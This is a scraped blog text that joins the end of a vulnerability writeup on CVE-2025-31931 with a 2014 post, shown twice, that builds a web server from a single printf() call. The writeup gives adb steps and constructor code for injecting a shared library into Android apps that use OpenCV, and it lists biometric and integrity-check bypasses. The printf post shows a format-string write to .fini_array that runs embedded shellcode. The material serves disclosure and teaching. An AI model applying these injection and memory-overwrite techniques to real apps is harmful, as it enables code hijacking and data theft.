/data/xxx/yyyy/lib/arm64/lib_cve_2025_3191.so > /data/local/tmp/com.intel.itt.collector_lib_64 Please note: use -n to prevent newline inside the file make sure path is correct make sure filename exactly as mentioned ( com.intel.itt.collector_lib_64 ) A simple Proof Of Concept (POC) To perform an action when a library is loaded, we can write a simple code: #include <stdio.h> #include <android/log.h> #include <unistd.h> __attribute__((constructor)) extern "C" void myinit() { printf("JOE-INJECT Library loaded"); __android_log_print(ANDROID_LOG_VERBOSE,"JOE-INJECT", "Library Loaded"); } If the library is loaded, then we will see JOE-INJECT Library Loaded using adb logcat . A better POC I extended the POC to do several things: Get current package name of the android app, this is done by reading /proc/self/cmdline so we know for sure *which* app is vulnerable We want to report this for any vulnerable app: I used to methods: via telegram bot, and via Android toast The telegram method doesn’t work if the app doesn’t have internet access permission (such as the opencv samples), so thats why I added the Toast method. POC To be able to show a toast, we will need to use JNI Api. To be able to use JNI, we need access to JNIEnv, and to get this, we need it from the JavaVM. For API Level 31, we can directly use JNI_GetCreatedJavaVMs (see this Stack Overflow question ). To make it work on previous android versions we can use : typedef jint (*JNI_GetCreatedJavaVMs_t)(JavaVM **vmBuf, jsize bufLen, jsize *nVMs); JNI_GetCreatedJavaVMs_t JNI_GetCreatedJavaVMs_ = (JNI_GetCreatedJavaVMs_t)dlsym(dalvik, "JNI_GetCreatedJavaVMs"); jsize nVMs = 0; JavaVM* buffer[1]; buffer[0] = 0; JNI_GetCreatedJavaVMs_(buffer, 1, &nVMs); POC is available here: https://github.com/yohanes/POC-CVE-2025-31931 To make it easy for anyone to test, you can use precompiled one on the release tab. The precompiled one doesn’t have telegram API key set, so it will only display a toast. You can recompile the library (or hex patch the .so) to use your telegram key Instruction: install the app launch the app, copy the nativelib file path using copy button using adb, create the /data/local/tmp/com.intel.itt.collector_lib_64 , fill the content with the path we got launch test vulnerable app, it should show a toast Example vulnerable app Impact The impact of this bug is usually limited because exploitation is not easy, we need to: Have adb access via PC, or have access to Shizuku (if the user installed this, and we are allowed by the user) Have the library loaded. In my case: the library wasn’t loaded until we do face verification But once you can drop this library, and created the /data/local/tmp/com.intel.itt.collector_lib_64 , then you suddenly can exfiltrate any data or run arbitrary code from all affected apps installed (not just targeting a single app). In my case the bank considers that my exploit has high severity because of several reasons: I was able to inject arbitrary code that can bypass their biometric relatively easily (no rooted phone needed). I can bypass their RASP ( Runtime Application Self-Protection ) that checks for various injection tools/libraries (such as Frida, LSPosed, Zygisk, etc) It can bypass Play Integrity check It is persistent (works even after reinstalling the vulnerable app, works after full Android reboot) It works in any Android version Happy Bug Hunting For bug hunters: there are quite a lot of Android apps out there using OpenCV. By installing the POC and setting up the /data/local/tmp/com.intel.itt.collector_lib_64 , you just need to wait until one of the app that you use loads the library. You may get a bug bounty for important apps. If you do get some bounties, please consider helping my friend’s gofundme for her cancer treatment . For developers: if you are using OpenCV on Android, update your OpenCV version ASAP. Author admin Posted on November 9, 2025 November 11, 2025 Categories android , mobile , reverse-engineering , security , writeup Tags include Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23493 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Post navigation Previous Previous post: Raspberry Pi for Out of Band Linux PC management Next Next post: Exploiting the Futex Bug and uncovering Towelroot Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:54 |
https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23520 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov 